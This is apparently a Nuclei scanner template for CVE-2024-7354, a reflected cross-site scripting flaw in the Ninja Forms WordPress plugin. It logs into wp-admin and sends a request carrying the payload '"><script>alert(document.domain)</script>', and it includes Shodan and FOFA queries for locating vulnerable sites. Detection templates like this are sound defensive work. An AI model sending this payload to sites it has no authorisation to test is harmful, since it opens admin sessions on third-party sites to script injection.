76 lines
2.3 KiB
YAML
76 lines
2.3 KiB
YAML
id: CVE-2024-7354
|
|
|
|
info:
|
|
name: Ninja Forms 3.8.6-3.8.10 - Cross-Site Scripting
|
|
author: ritikchaddha
|
|
severity: medium
|
|
description: |
|
|
The Ninja Forms WordPress plugin before 3.8.11 does not escape an URL before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
|
|
impact: |
|
|
Attackers can potentially exploit this vulnerability to gain unauthorized access to sensitive information.
|
|
remediation: |
|
|
Update the plugin to Latest version. Fixed in 3.8.11.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/3c871dcd-51d7-4d3b-b036-efa9e066ff41/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2024-7354
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2024-7354
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00043
|
|
epss-percentile: 0.09629
|
|
cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 3
|
|
vendor: ninjaforms
|
|
product: ninja_forms
|
|
framework: wordpress
|
|
fofa-query: body="/wp-content/plugins/ninja-forms"
|
|
publicwww-query: /wp-content/plugins/ninja-forms/
|
|
shodan-query: http.html:"/wp-content/plugins/ninja-forms/"
|
|
tags: cve,cve2024,wp,wordpress,wp-plugin,ninja-forms,xss,authenticated
|
|
|
|
flow: http(1) && http(2)
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "/wp-content/plugins/ninja-forms"
|
|
internal: true
|
|
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
|
|
|
- |
|
|
GET /wp-admin/admin.php?page=nf-submissions&"><script>alert(document.domain)</script>=2 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- '"><script>alert(document.domain)</script>'
|
|
|
|
- type: word
|
|
part: content_type_2
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a004730450221009f7bdce78e65e8b3f9f998b4db6438ec2d9e0aaeafbeb10464c912907a04128e022037deac3e2c9df72883e6039e6806930b39ed626aaac45f76295adfb4fcc9e936:922c64590222798bb761d5b6d8e72950 |